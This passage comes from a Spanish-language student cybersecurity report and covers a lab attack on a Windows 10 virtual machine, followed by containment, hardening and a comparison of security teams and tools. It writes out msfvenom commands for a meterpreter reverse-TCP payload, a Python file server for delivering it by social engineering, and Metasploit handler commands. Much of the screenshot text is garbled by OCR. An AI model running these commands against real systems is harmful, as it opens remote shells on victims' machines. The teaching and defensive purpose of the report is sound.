seguridad de vulnerabilidad conocida y la solucién adecuada.

Archivo .txt en el escritorio: actividad inusual en el sistema, el archivo podria
contener informacién sobre el ataque, datos robados o comprometidos.

Registros de eventos del sistema: de Windows, de aplicacion y seguridad,
pueden proporcionar detalles sobre actividades sospechosas o anémalas en el
sistema.

Registros de red: trafico de red como firewall o paquetes capturados pueden
ayudar a identificar cualquier actividad sospechosa en la red que pueda estar
relacionada con el ataque.
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f) Analisis de malware y herramientas de hacking: La identificacion de malware
conocido o herramientas de hacking en el sistema comprometido proporciono

pistas sobre como se llevé a cabo el ataque y métodos que métodos utilizo para
comprometer el sistema.

El administrador de la computadora afectada menciona las siguientes
caracteristicas de la computadora en general:

e Tenia un 5.0 Windows 10 a 64 bits

e Los sistemas de seguridad tanto del S.0 como externos se
encontraban desactivados totalmente (Firewall, Windows
Defender, Antivirus entre otros)

e Contaba con un archivo de texto ubicado en el escritorio

e Recuerda haber ejecutado un archivo .exe con el nombre
PoC_cedulaestudiante

Fuente el Autor. Anexo 4 escenario 3
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4.3. Herramienta utilizé para poder identificar los fallos de seguridad de la
“maquina Windows 10

Nmap: con el cual se escanea la IP de maquina objetivo y puertos OPEN.

llustracién 9 Escaneo de puerto en Maquina Objetivo

i kali-linux-2024.7-virtualbox-amded [Corriende] - Oracle VM VirtualBox

Archivoe Maguina VWer Entrada

" m P O]

Dispositives  Ayuda

kali@ kali: ~

File Actions Edit WView Help

Mmap done: 1 IP address (1 host up) scanned im 1.32 seconds

Fuente: propia

MSFVenom: herramienta contenida en el framework Metasploit para generar payloads
(cargas utiles) personificadas para explotar vulnerabilidades en el sistema operativo
objetivo.

llustracion 10 Generacion de la carga util (Payload) - MSFVenon

i kali-linux-2024.1-virtualbox-amd64 [Corriende] - Oracle VM VirtualBox
Archivae Maguina Ver Entrada Dispositivos Ayuda

LN B XK JEE

root@kali: fhome/kali

File Actions Edit View Help
[sudo] password for kali:
/home/kali

winde ete re i se_tc -f e LHO5T=192.168. 171 LPORT=445 PoC_1117509566.exe
::Windows trom the LEL]

/home/kali
Fuente: propia

Servidor Python: aplicacion que utiliza el lenguaje de programacion Python para
proporcionar servicios a otros programas o clientes. Estos servidores pueden realizar una
variedad de tareas, como procesar solicitudes web, manejar conexiones de red, realizar
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calculos complejos, entre otros.

llustracion 11 Servidor Python para enviar la carga util (Payload) al equipo victima.

&
B oEmP ol

= kali@sali: ~
File Actions Edit View Help .
& I\ Noessegure  192.168.100.171

/1.1" 200 -

100

* PoC_1117509566.exe

Directory listing for /Desktop/

A Ocultar carpstas Guardar Cancelar

@ Guardsr como g
€« v 4 | « Escritorio > HEMIR FIGUEROA - SEMINARIO ESPECIALIZADO v o Buscar en HEMIR FIGUERDA ...
Organizar = Nueva carpeta =~ @

I Este equipo Nombre Fecha de modificacien  Tipo Tamafio
& Descargas Mueva carpeta 16 2411:21a.m.  Carpeta de archivos
[& Documentos [E] PoC_1117500566 16 2411:34a.m.  Aplicacién 7KB
[ Escritorio
=] Imdgenes
v
Norrore: | PoC_1117509566 -
Tpe: | Application 3 v

Fuente: propia

Msfconsole: interfaz que proporciona una consola centralizada "todo en

uno" y permite

un eficiente acceso a practicamente todas las opciones disponibles en el marco de

Metasploit. Msfconsole

llustracion 12 Ataque realizado y maguina comprometida
B omPor|

lali@iali: -

Edit View Help

FOFTITRRTI SEMINARIC ESPECIALIZADO

Compartic __ Vista

+ 4 |7 » Esteequipo > Escritorio » HEMIR FIGUEROA - SEMINARIC ESPECIALIZADO
- ombre echa de madiicaci
# Accesoripiflo
I Escritorio
& Descargas
%) Document

Il HEMIR FIGUEROA - SEMINARID ESPECIA...  1E 41258, Ahive WinRAR
[ PaC 1117509566 6/03/2024 11348, m.  Aflicacién

Fuente: propia
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¢Qué puerto abre la aplicaciéon especifica en el anexo?

Se uso el puerto 445

llustracion 13 Puerto 445. Con conexion establecida con maquina victima.

ﬁ kali-linux-2024.1-virtualbox-amd64 [Corriendo] - Oracle VM VirtualBox
Archivo Miquina Ver Entrada Disposifivos  Ayuda

B oEP D

kali@kali: ~

File Actions Edit View Help

- ) LISTEN
[sudo] T ilg
python Li 3u TIPv4 26960 0t@ TCP *:8000 (

owned

Timer
off (0.00/0/0)

off (0.00/0/0)
off (0.00/0/0)
off (0.00/0/0)
off (0.00/0/0)

Fuente: propia

4.4. Expligue cédmo afecta el ataque a la maquina (Windows 10 X64)

Afecta inicialmente la seguridad, la integridad de la informacion que exista dentro de
Windows. Si tenemos en cuenta el alcance de esta herramienta MSFVenom para la
generacion de payloads (cargas utiles) maliciosas. Estos payloads pueden ser disefiados
para llevar a cabo una amplia variedad de acciones maliciosas en una maquina victima,
incluyendo la ejecucién remota de cdédigo, la obtencion de acceso no autorizado, la
creacion de backdoors y mucho mas.

En el caso de un ataque con MSFVenom contra una maquina victima con Windows 10,
los efectos pueden ser bastante graves. Algunas posibles consecuencias incluyen:

e Ejecucién remota de cddigo: Un Payload generado con MSFVenom puede
permitir a un atacante ejecutar comandos arbitrarios en la maquina victima.

e Creacion de backdoors: Un Payload malicioso podria crear una puerta trasera en
el sistema, permitiendo al atacante acceder a la maquina en cualguier momento sin
ser detectado. Esto podria utilizarse para persistencia en el sistema, lo que significa
gue el atacante podria mantener el acceso incluso después de que se tomen
medidas para intentar eliminar el malware.

e Ex filtracion de datos: Un atacante podria utilizar un Payload generado con
MSFVenom para robar informacion sensible de la maquina victima, como
contrasefas, documentos confidenciales, datos financieros, etc.

e Destruccion de datos: Dependiendo de cédmo esté disefiado el Payload, un
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atacante podria utilizarlo para borrar o corromper archivos importantes en el
sistema, causando dafios significativos.

llustracion 14 Con conexion establecida con maquina victima.

File Actions Edit View Help

(& (@) cTRL DeRECHA

Fuente: propia

llustracion 15 Maquina victima / IP. 192.168.100.50

HEMIR FIGUEROA - SEMINARIO ESPECIALIZADO

HEMIR FIGUERO
D Misica

@ Onel

= o =25 ® ¢ @ M 1 P

Fuente: propia
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4.5. Comandos utilizados en la practica y explicacion la estructura desarrollada
para el Payload.

Resumen de practica: Anexo 4 escenario 3. Comandos

1. Creando una carga util usando MSFVENOM:

msfvenom -p windows/x64/meterpreter/reverse_tcp -ax64 -f exe
LHOST=192.168.100.171 LPORT=445 > PoC_1117509566.exe

2. Transferir cargas utiles a la victima mediante ingenieria social:

e crear servidor con PYTHON: python -m http.server 8000

3. Inicie un controlador inverso en la maquina del atacante:

Aqui, estamos iniciando un controlador TCP inverso en Kali, que se conectara a la
instancia de shell inverso desde la maquina con Windows 10.

msfconsole

Start msfconsole & Use Commands:

use exploit/multi/handler

set payload windows/x64/meterpreter/reverse_tcp
use payload/windows/x64/meterpreter/reverse_tcp
show options

set LHOST 192.168.100.171

set LPORT 445

exploit
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Resumen de practica: Anexo 4 escenario 3. Con gréaficas.

llustracién 16 Maquina Atacante con Kali Linux / IP 192.168.100.171

¥ Oracle VM VirtualBox Administrador

Archivo Maquina  Ayuda

i
ﬁ Herramientas

8 >

Mueva Afadr Configuracidn D ar - Mostrar
[N kali-inux-2024.1-virtualbox-a.- — = General =] Previsualizacién
(8] > corrience = nNombre: kali-inux-2024, 1-virtualbox-amds4

Sistema operativo: Debian (54-bit)

[®] Sistema

Memoria base: 4096 MB

Procesadores: 2 )

Orden de arranque: Disco duro, Optica

Aceleracon: Pagnacion anidads, PAE/NX, Paravirtuaizacion KVM

W Pantalla

Memoria de video: 128 M8

Controlador grafico VMSUGA

Servidor de esariterio remoto;  Inhabilitado

Grabadién: Inhabiitado

Almacenamiento

Controlador: IDE
Dispositivo IDE secundario 0:  [Unidad dptical Vacio
Controlador: SATA

Puerto SATA 0: Kalidinux-2024. 1-virtualbox-amdé4. vdi (Normal, 80,03 GE)
{8 Audio
Controlador de anfitrién:  Windows DirectSound
Controlador: ICH ACST
& Red

Adaptador 1;  Intel PRO/1000 MT Desktop (NAT)
Adaptador 2: Intel PRO/1000 MT Desktop (Adaptador puente, «Qualcomm Atheros QCAS377 Wireless Network Adapter)

£ uss

Controlador USB
Filtros de dispositivos: D (0 active)

[C] carpetas compartidas
Carpetas compartidas: 1

& Descripcién

Kali Roling (2024, 1) x64
20240225

Fuente: propia

llustracion 17 Maquina Objetivo con Windows 10 x64 / IP 192.168.100.50

[ Sisterna

- X

4 B35 paneldecentrol » Sistemayseguridad » Sistema v o e

Ventana principal del Panel de
<ontra
&) Administrador de dispositivos

&) Configuracion de Acceso
remoto

& Proteccion del sistema

& Configuracion avanzada del
sistema

Vea también

Seguridad y mantenimiento

Ver informacién bésica acerca del equipo

Edicion de Windows

Windows 10 Pro - .

© Microsoft Corporation, Todos los derechos reservados. .- WI n d OWS 1 O
Sisterna

Procesador: Intel(R) Core(TM) i7-7500U CPU @ 2.70GHz 2.90 GHz

Memoria instalada (RAM): 16,0 GB

Tipo de sistema: Sistema operativo de 64 bits, procesador <64

Lapizy entrada tactil: La entrada tactil o manuserita no esta disponible para esta pantalla

Configuracién de nombre, dominio y grupo de trabajo del equipo

Nombre de equipo DEPREDATORS & Cambiar
Nombre completo de DEPREDATORG configuracién
<quipe

Descripeion del equipo:

Grupe de trabajo: WORKGROUP

Activacién de Windows

Windows ests activado Lea los Términos de licencia del software de Microsoft

Id. del producto: D0330-51648-00282-AAOEM & Cambiar |2 clave de producto

p.m
17/03/2024

1) ESP

Fuente: propia

Creando una carga util usando MSFVENOM:
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e msfvenom -p windows/x64/meterpreter/reverse_tcp -ax64 -f exe
LHOST=192.168.100.171 LPORT=445 > PoC_1117509566.exe

llustracion 18 creacion carga util

Bl kali-linux-2024.1-virtualbox -amd8d [Corriendo] - Oracle VM VirtualBox - =] x
Archivo  Miquina  Ver  Entrada  Dispositivos  Ayuda

SempPor-|:

File Actions Edit View Help

~/Desktop

Places

Computer

~/Desktop I kali
Desktop
ent

~/Desktop

~/Desktop

& i B & ) cre cereca

Fuente: propia

Transferir cargas utiles a la victima mediante ingenieria social:
Creacion de servidor con PYTHON: python -m http.server 8000

llustracion 19 transferencias cargas Utiles a la maquina victima

Edit View Help

Fuente: propia
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Descargando ejecutable en Equipo victima 192.168-100.50 (Windows X64)
o http://192.168.100.171:8000/Desktop/

llustracién 20 descarga ejecutable

& G AMNoesseguo 192.168.100.171:8

Hii Aplicaciones ) lujososhop @k Meterpreter shell as.. > (4078) Como Crear.. (@ Cémo registrarun... (3 Panel de control (uj.. [l €l Dominio, Hosting.

Listado de directorio para /Desktop/

« PoC_1117509566 exe @ Guerdar como x

4 > Esteequipo > Escritorio > HEMIR FIGUEROA - SEMINARIO ESPECIALIZADO v o Buscar en HEMIR FIGUEROA ... |

Organizar v Nueva carpeta Er @
ion  Tipo Tamaiio

Carpeta de archivos

I Escritorio
& Imagenes
D Misica
B Objetos 3D
[ Videos
5 W10-64 (C)
& Red v @
Nombre: | EXSSRRRIERERT 7
Tipo: | Application - @

192.168.100.171:8000/Desktop/PoC_1117509566.exe
11:322.m.
16/03/2024 5

0 7z B EsP

Fuente: propia

msfconsole

use exploit/multi/handler

set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.100.171

set LPORT 445

show options

exploit

il koi-linux ox-amd64 [Comendo) - Oracle VM VirtualBox - a X

File Actions Edit View Help
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i kali-linux-2024.1-virtualbox-amd64 [Corriendo] - Oracle VM VirtualBox - o X

prchivo  Méquna  Ver Entrads Dispositvos _ Ayuds

S empPoil-

root@kal: fhome/kali

File Actions Edit View Help
oad options (windows/x

iread, proces
may be specified

& 508 i@ @) o oerecra

11:47 a.m.
O o T

llustracion 21 Comando meterpreter ipconfig / vemos la ip de la maquina
atacante

Archivo Mégquina Entrada Ayuda

SIEN L EEE . , WETNE

' F root@kali: home/kali
File Actions i

Ver Dispostivos

@& o008 ®g@ R v oson
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Ver las conexiones en el puerto 445
e netstat -anpl | grep :445

llustracion 22 conexiones en el puerto 445

i koli-linux-2024.1-virtualbox-amd64 [Corriende] - Oracle VM VirtualBox - a X
Archivo  Mbquna Ver _Entrada Ayuda

qem

Dispositivos

File Actions Edit View Help

ESTABLISHED

U @ 5105 81§ B e oerecria

ESP

il Kali-finux-2024.1-virtualbox -amd64 [ Carriendo] - Oracle VM VirtualBox - 0 X

Archivo  Maquina  Ver Entrada  Dispostivos  Ayuds

Berm 2

Kali@kali: =

File Actions Edit View Help

Build 19

2@ & 08 il G @ @) e omeca
&
d
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5.1.

5. ETAPA 4 CONTENCION DE ATAQUES INFORMATICOS

Analisis con acciones necesarias para contener un ataque en tiempo real.

Identificar atague: Monitorear y detectar la posible infiltracion de seguridad donde
se esta viendo comprometida la informacion a través de controles, analisis de trafico
de red, Examen de registros de actividad, analisis de malware.

Investigacion de indicadores de compromiso (IOCs): Se investigan y verifican
los indicadores de compromiso (IOCs) asociados con el atague, como direcciones
IP, nombres de dominio, hashes de archivos maliciosos, etc. Estos IOCs pueden
ayudar a identificar la naturaleza y el alcance del ataque.

Revisién de registros de autenticacién y autorizacion: Se examinan los
registros de autenticacion y autorizacion para detectar intentos de inicio de sesién
no autorizados o actividades sospechosas relacionadas con el acceso a sistemas
y datos sensibles.

Aislar equipo de codmputo comprometido en el ataque: Desconexion de la red
si el sistema de prevencién de instrucciones no esta funcionando correctamente.

Recoleccién de evidencia digital para ser analizada: Se toma muestra de
evidencia para un andlisis completo.

Anadlisis post-mortem: Después de contener y mitigar el ataque, se realiza un
andlisis post-mortem para revisar las lecciones aprendidas, identificar las
debilidades en los controles de seguridad existentes y mejorar las estrategias de
deteccion y respuesta a incidentes para el futuro.
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5.2. Informe de acciones de hardenizacion a implementar para evitar que
sucedan atagues de seguridad informatica.

llustracion 23 Activacion del Firewall de Windows.
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Fuente: propia

llustracién 24 Activacion del Windows defender (Antivirus de Windows)
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41



llustracién 25 Defender Activado
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Fuente: propia

llustracion 26 Deteccion de Amenazas y Eliminacion

Amenaza en cuarentena
16/03/2024 10:31 a. m.

Grave

Detectado: Trojan:Win32/Meterpreter.0

Estado: En cuarentena

Los archivos en cuarentena se encuentran en un area restringida donde no
pueden dafiar el dispositivo. Se eliminaran automaticamente.

Fecha: 16/03/2024 10:31 a. m.
Detalles: Este programa es peligroso y ejecuta comandos de un atacante.

Elementos afectados:
file: Ch\Users\Reg-Sop-Putumayo'\Desktop\HEMIR FIGUEROA -
SEMIMARIO ESPECIALIZADONPOC_1117509566.2xe

Mas informacion

Fuente: propia
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llustracidén 27 Actualizacién automatica de Sistema Operativo.
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llustracion 29 Desactivacion de la asistencia remota y el control remoto.
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Ventana principal del Panel de
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Fuente: propia

5.3. Analisis sobre las diferencias entre el equipo de Blue Team, Red Team, Purple
Team y Equipo de respuesta a incidentes.

Los equipos Blue Team y Red Team son términos comunes en seguridad cibernética que
se refieren a roles y funciones especificas en la evaluacién y mejora de la postura de una
organizaciéon en términos de seguridad. Aqui hay una breve descripcién de cada uno:

Blue Team:

El equipo Blue Team tiene la responsabilidad de proteger los sistemas de una entidad
contra posibles amenazas cibernéticas.

Realiza tareas como monitoreo de seguridad, deteccién de intrusiones, analisis forense,
gestion de vulnerabilidades y respuesta a incidentes.

Red Team:

El Red Team es un equipo que realiza simulaciones de ataques cibernéticos contra una
entidad con el fin de evaluar la eficacia de sus medidas de seguridad. Se dice que “los
equipos Red Team son profesionales de seguridad expertos en atacar sistemas y romper
defensas, mientras que los Blue Team son profesionales de seguridad responsables de
mantener las defensas de la red interna contra ciberataques y amenazas” *°.

Realiza la utilizacion de herramientas similares a las ejecutadas por los atacantes reales
para identificar vulnerabilidades y brechas en la defensa.

W INTELEQUIA.COM. Red Team y Blue Team - funciones y diferencias en ciberseguridad.
[En linea]. [ Consultado 23 de marzo del 204]. Disponible en: (https://n9.cl/8gr9d).
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Ahora, respecto al "Purple Team" y los equipos de respuesta a incidentes informaticos:

Purple Team: “puede ser un pequefio equipo de seguridad, conformado por pocos
integrantes que ejercen los papeles tanto del Red Team como del Blue Team” 1.

El equipo Purple Team combina elementos de los equipos Blue Team y Red Team.

e Su funcion principal es facilitar la colaboracion entre ambos equipos.

e Trabaja para mejorar la comunicacion y compartir conocimientos entre los equipos
defensivos (Blue Team) y los equipos ofensivos (Red Team).

e Ayuda a traducir los hallazgos de las pruebas de Red Team en mejoras concretas
para el Blue Team y viceversa.

e El enfoque del Purple Team es mas orientado hacia la mejora continua y la eficacia
de la seguridad, en lugar de simplemente identificar debilidades.

5.4. Equipos de respuesta a incidentes informéaticos (CSIRT):

“Es un equipo de respuesta a incidentes de seguridad informatica. Esta unidad tiene como
objetivo recibir, revisar y responder a informes de incidentes” 2.

e Su objetivo es detectar, contener y mitigar incidentes de seguridad tan rapido como
sea posible para minimizar el impacto en la organizacion.

e Los CSIRT pueden incluir miembros del Blue Team, Red Team y otros roles
especializados en seguridad cibernética.

e Trabajan en estrecha colaboracién con otros equipos de seguridad, como Purple
Team, para mejorar la preparacion y la capacidad de respuesta ante incidentes.

Finalmente podemos concluir que mientras que los equipos Blue Team y Red Team se
centran en la defensa y la evaluacion, respectivamente, el Purple Team actda como un
puente entre ambos, promoviendo la colaboracién y la mejora continua. Los equipos de
respuesta a incidentes informéaticos, por otro lado, estan mas orientados a la deteccion y
respuesta activa ante amenazas y ataques cibernéticos.

11 Keepcoding. ¢Qué es Purple Team en ciberseguridad?. [En linea]. [ Consultado 01 de
abril del 2024]. Disponible en: (https://keepcoding.io/blog/que-es-purple-team-en-
ciberseguridad/).

12 Security Advisor. ¢Qué es el equipo de respuesta ante incidentes de seguridad
informatica SCIRT? [En linea]. [ Consultado 01 de abril del 2024]. Disponible en:
(https://sadvisor.com/que-es-el-csirt/).
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Tabla 1 diferencias equipos Blue Team, Red Team, Purple Team y Equipos CSIRT

Aspecto | Blue Team Red Team | Purple Team Equipos de
Respuesta a
Incidentes
Informaticos
(CSIRT)
Funciéon | Defensa Simula Facilita la ayuda Deteccion,
principal | contra ataques entre Blue Team y | contencion y
amenazas cibernético | Red Team mitigacién de
cibernéticas S incidentes
cibernéticos
Objetivo | Mantiene la Identificar | Ayuda a mejorar Responder a
seguridad de | vulnerabili | en las empresas incidentes de
laredy los dadesy su postura. seguridad
sistemas brechas en cibernética
la defensa
Activida | Monitoreo de | Simulacion | Facilitar la Deteccion de
des | seguridad, de comunicacion, amenazas,
tipicas | deteccion de ataques, compartir analisis
intrusiones, pruebas de | conocimientos, forense,
analisis penetracio | traducir hallazgos | contencidn,
forense, n, recuperacion
gestion de identificaci
vulnerabilidad | 6n de
es debilidade
s
Enfoque | Defensivo Ofensivo Colaborativo Reactivo
Mejoras | Refuerzo de Remediaci | Aumento de la Aumenta la
resultant | controles de on de eficacia competencia
es | seguridad vulnerabili de respuesta
dades y la
resiliencia
Ejemplo | Configuracion | Simulacion | Revision de Deteccion de
de | de firewalls, de ataques | informes de Red intrusos,
respons | implementacio | de Team, analisis
abilidade | n de politicas | phishing, implementacion forense,

s | de seguridad, | pruebas de | de contramedidas, | reporte de
analisis de intrusion, entrenamiento del | incidentes,
logs evaluacion | personal coordinaciéon

de de acciones
seguridad de respuesta
de

aplicacione

S
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Roles | Analistas de Hackers Analistas de Analistas de
comunes | seguridad, eticos, seguridad, seguridad,
involucr | ingenieros de | analistas coordinadores de | especialistas
ados | sistemas, de seguridad en forense
administradore | seguridad digital,
s de red ofensiva coordinadore
s de
incidentes
Enfoque | Permanente Proyecto/t | Continuo Reactivo y
temporal emporal proactivo

Fuente: propia

5.5. Andlisis sobre la pertinencia de trabajar con CIS “Center For Internet
Security” como propuesta de aseguramiento por parte de un equipo de Blue
Team.

El Centro para la Seguridad en Internet esta dedicada a mejorar la seguridad cibernética
en todo el mundo. En el contexto de los equipos BlueTeam, que se enfocan en defender
sistemas y redes de amenazas cibernéticas, CIS desempefia un papel crucial al
proporcionar orientacion, recursos y herramientas para robustecer la seguridad en
entornos empresariales.

Estandarizacion y Mejores Practicas: CIS proporciona una amplia gama de guias de
seguridad, controles y recomendaciones. Estas guias estan disefiadas para abordar una
variedad de sistemas, aplicaciones y entornos, lo que las hace relevantes y aplicables
para una amplia gama de organizaciones.

Reputacion y Credibilidad: CIS es una organizacién bien establecida y respetada en el
campo de la ciberseguridad. Sus estandares y directrices son reconocidos
internacionalmente y son utilizados por numerosas organizaciones, incluidas empresas,
agencias gubernamentales y organizaciones sin fines de lucro.

Enfoque Holistico: CIS adopta un enfoque holistico para la seguridad de la informacién,
abordando aspectos técnicos, operativos y de gestion. Esto asegura que las
organizaciones no solo se enfoquen en la seguridad de la tecnologia, sino que también
consideren aspectos como la gobernanza, la gestionamiento de riesgos y el cumplimiento
normativo.

Adaptabilidad y Flexibilidad: Las guias y controles de CIS son adaptables a diferentes
entornos y necesidades organizativas. Esto permite que las organizaciones implementen
medidas de seguridad personalizadas que se ajusten a sus requisitos especificos,
mientras siguen las mejores practicas recomendadas por CIS.
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Actualizaciones y Mantenimiento Continuo: CIS regularmente revisa y actualiza sus
guias y controles para reflejar las Ultimas amenazas y tendencias en ciberseguridad. Esto
garantiza que las organizaciones estén al tanto de las ultimas practicas recomendadas y
puedan mantener sus sistemas seguros en un entorno en constante evolucion.

Guia/ Tutorial

a)

b)

¢.Coémo funciona CIS?

Establecimiento de estandares de seguridad: “desarrolla y mantiene una serie
de estandares de seguridad cibernética reconocidos a nivel mundial, como las
Benchmarks de Seguridad CIS y las Guias de Configuracion CIS” 13,

Ofrecimiento de herramientas: ademas de los estandares, CIS ofrece una
variedad de herramientas y recursos gratuitos, como herramientas de evaluacion
de cumplimiento, scripts de automatizacion y utilidades de seguridad, que ayudan
a implementar y mantener la seguridad de acuerdo con los estandares CIS.

Formacion y educacion: ofrece una amplia variedad de temas que incluyen desde
la implementacion de estandares CIS hasta la gestion de incidentes de seguridad

¢, Coémo encontrar los recursos de CIS?

Sitio web oficial: El sitio web oficial de CIS (https://www.cisecurity.org/) es el punto
de partida para acceder a todos los recursos y herramientas que ofrece la
organizacion.

Explorar Benchmarks y Guias de Configuracion: se encuentran Guias de
Configuracion CIS para una variedad de sistemas operativos, aplicaciones y
dispositivos de red. Estas guias proporcionan recomendaciones detalladas para
configurar de forma segura diferentes tecnologias.

13 ManageEngine. ¢, Qué son los controles de CISO?. [En linea]. [ Consultado 20 marzo de

2024].

Disponible en: (https://www.manageengine.com/latam/controles-de-sequridad-

critica-cis.html).
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5.6.

Buscar herramientas y recursos: La seccion de recursos del sitio web de CIS
contiene una variedad de herramientas, scripts y utilidades gratuitas que puedes
utilizar para mejorar la seguridad de tu entorno.

Participar en la comunidad: CIS también tiene una comunidad activa de
profesionales de seguridad que comparten conocimientos, experiencias y mejores
practicas.

Andlisis sobre las funciones y caracteristicas y diferencias entre SIEM y un

XDR.

La principal diferencia entre XDR y SIEM radica en su enfoque y especializacion. Mientras
que SIEM adopta un enfoque méas amplio y generalista, lo que puede limitar su efectividad
en la identificacién de ataques y amenazas en comparacion con las plataformas XDR, que
estan disefiadas especificamente para correlacionar datos de seguridad de manera mas
eficiente. SIEM permite a las organizaciones recopilar registros y alertas de diversas
fuentes, pero carece de capacidades de analisis y automatizacion que son inherentes a
XDR. Al incorporar elementos como EDR y MDR, XDR proporciona una soluciébn mas
completa para la deteccion y respuesta a amenazas. Por lo tanto, XDR podria
considerarse como un complemento ideal para un sistema SIEM, utilizando los datos
recopilados por este ultimo para generar alertas e informacion de manera mas eficiente.

Tabla 2 comparacion entre un SIEM y un XDR

SIEM (ADMINISTRACION DE
EVENTOS E INFORMACION XDR (DETECCION Y
ASPECTO DE SEGURIDAD) RESPUESTA EXTENDIDAS)
es una estrategia de seguridad
cibernética mas amplia 'y
Plataforma que recopila, avanzada que busca
correlaciona y analiza datos de proporcionar una deteccion y
seguridad de multiples fuentes, respuesta mas efectivas a las
ofreciendo visibilidad y amenazas en el entorno digital
Definicion deteccion de amenazas. actual.
Recopila datos de eventos,
Recopila datos de eventos y registros y telemetria de puntos
Fuente de registros de dispositivos, finales, redes, aplicaciones y
Datos sistemas, aplicaciones y redes. servicios en la nube.
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ASPECTO

Analisis de
Datos

Alcance de
Deteccion

Contextualizacién
de Amenazas

Automatizacién de
Respuesta

Integracion de
Seguridad

Escalabilidad

Enfoque de
Arquitectura

SIEM (ADMINISTRACION DE
EVENTOS E INFORMACION
DE SEGURIDAD)

Analiza datos para
correlacionar eventos y detectar
patrones anémalos que puedan
indicar actividades maliciosas.

Se centra principalmente en
eventos de seguridad y
actividades en lared y
sistemas.

Proporciona contexto limitado
sobre las amenazas
identificadas.

Puede proporcionar
capacidades basicas de
automatizacién de respuesta,
como alertas y acciones
predefinidas.

Puede integrarse con
herramientas de seguridad
adicionales, como firewalls y
sistemas de prevencién de
intrusiones.

Puede tener limitaciones en
cuanto a la escalabilidad debido
a la capacidad de
procesamiento de datos.

Basado en un enfoque de
arquitectura de gestion de
eventos y seguridad
centralizada.

XDR (DETECCION Y
RESPUESTA EXTENDIDAS)

Utiliza andlisis avanzados,
incluyendo inteligencia artificial y
aprendizaje automatico, para
identificar amenazas y
correlacionar datos de multiples
fuentes.

Ofrece deteccion ampliada que
abarca puntos finales, redes,
aplicaciones y servicios en la
nube, integrando andlisis de
comportamiento y contexto.

Ofrece una contextualizacion
mas profunda mediante la
integracion de informacién de
multiples fuentes de datos y
analisis avanzados.

Incorpora capacidades
avanzadas de automatizacion de
respuesta, como la orquestacion
de seguridad y la respuesta
guiada por politicas.

Se integra con una amplia gama

de soluciones de seguridad, para
proporcionar una vision holistica

de la postura de seguridad.

Disefiado para ser altamente
escalable, capaz de manejar
grandes volumenes de datos de
manera eficiente.

Adopta un enfoque mas
distribuido, con capacidades de
deteccidn y respuesta integradas
en multiples capas de la
infraestructura de seguridad.

Esta tabla proporciona una vision general de las diferencias clave entre SIEM y XDR en
términos de funciones, caracteristicas y alcance de deteccion.
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5.7. Algunas herramientas que permitan detectar ataques informaticos con
licencia GPL.

SNORT: “Snort es el sistema de prevencion de intrusiones (IPS) de cédigo abierto. Una
herramienta bastante sofisticada y completa que permite su uso como rastreador de paquetes
como tcpdump, como registrador de paquetes e IDS”.1* Es una herramienta versatil y potente
que proporciona capacidades efectivas de deteccion de intrusos en la red, ayudando a proteger
los sistemas y datos contra una variedad de amenazas cibernéticas.

llustracién 30 Logo de herramienta IDS SNORT.

iﬂ

Fuente: Snort. [En linea]. ¢ Qué es Snort? [ Consultado: 20 de marzo del 2023]. Disponible
en: https://www.snort.org

OSSEC: Sistema de deteccién de intrusos y analisis de registro de host que monitorea
cambios en archivos de registro y actividad sospechosa.

“Es un Host IDS opensource que incluye caracteristicas que lo convierten en
una herramienta muy interesante para asegurar un sistema, ya sea de la familia Unix o
Windows” 1.

llustracion 31 Logo herramienta OSSEC

& OSSEC

Fuente: Securitybydefault. [En linea]. OSSEC. [ Consultado: 20 de marzo del 2023].
Disponible en: http://www.securitybydefault.com/2012/11/ossec-introduccion.html

14 SNORT. Snort. [En linea]. ¢Qué es Snort? [ Consultado 20 de marzo del 2023].
Disponible en: (https://www.snort.orq).
15 Securitybydefault. [En linea]. OSSEC. [ Consultado 20 de marzo del 2023]. Disponible

en: (http://www.securitybydefault.com/2012/11/ossec-introduccion.html).
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Zeek: “Sistema de software de codigo abierto que ofrece registros de transacciones
CONCisos y precisos, asi como contenido de archivos y resultados altamente adaptados,
sirviendo a analistas en cualquier lugar, desde el entorno doméstico mas modesto hasta
las vastas y agiles redes comerciales y de investigacion” 16,

llustracion 32 Logo herramienta Zeek

Z; zeek.

Fuente: Fuente: Zeek. [En linea]. Those who know security use Zeek. [ Consultado: 20
de marzo del 2023]. Disponible en: https://zeek.org/

16 Zeek. ¢ Qué es Zeek?. [En linea]. [ Consultado 20 de marzo del 2023]. Disponible en:
(https://zeek.org/about/).
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6. ETAPA 5 - SOCIALIZACION DE INFORME TECNICO.

6.1. Como aportan los equipos Blue Team, Red Team y Purple en el campo de la
ciberseguiridad dentro de una organizacion.

La integracion de equipos blue team, red team y purple team fomenta una cultura de
seguridad solida y proactiva dentro de una organizacion, lo que ayuda a proteger sus
activos criticos contra las amenazas cibernéticas.

Esta integracion puede ser extremadamente beneficiosa para fortalecer la postura de
ciberseguridad de la empresa.

Seguidamente se explica como cada equipo puede aportar y cOmo trabajar juntos:

e Blue Team: se enfoca en defender los activos de la organizacion. Monitorean
sistemas, detectan y responden a amenazas de seguridad. Sus responsabilidades
incluyen la gestion de firewalls, sistemas de deteccidn de intrusiones, analisis de
registros, gestion de parches y otras medidas defensivas. Su papel es vital para
mantener la seguridad de la red.

e Red Team: adopta la mentalidad de un atacante para probar la seguridad de la
organizacion. Realizan pruebas de penetracion controladas, simulando ataques
reales para identificar vulnerabilidades y debilidades en los sistemas de la
organizacion. Su objetivo es encontrar puntos débiles antes de que los exploten
los ciberdelincuentes reales.

e Purple Team: actia como un puente entre los equipos blue team y red team. Su
funcién principal es facilitar la comunicacion y la colaboracion entre ambos
equipos. Después de que el red team haya realizado sus pruebas, el purple team
ayuda al blue team a comprender las debilidades identificadas y a mejorar las
defensas. También pueden ayudar al red team a perfeccionar sus técnicas de
ataque.

Integrar estos equipos al mismo tiempo dentro de una organizacion proporciona varios
beneficios:

Mejora continua: La retroalimentacion constante entre los equipos permite una mejora
continua de las defensas de ciberseguridad. El blue team aprende de las tacticas
utilizadas por el red team y puede fortalecer sus defensas en consecuencia.

Identificacién temprana de vulnerabilidades: El red team identifica vulnerabilidades y
debilidades que pueden haber pasado desapercibidas para el blue team. Esto permite
gue la organizacion corrija estos problemas antes de que sean explotados por atacantes
reales.
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Mayor sensibilizacion en seguridad: la cooperacion entre los equipos contribuye a
elevar el nivel de concienciacion en materia de seguridad en toda la organizacién. Todos
los integrantes del equipo adquieren una comprension mas profunda sobre las amenazas
y cémo contrarrestarlas.

Simulacion de escenarios reales: Al trabajar juntos, los equipos pueden simular
escenarios de ataque realista.

6.2.

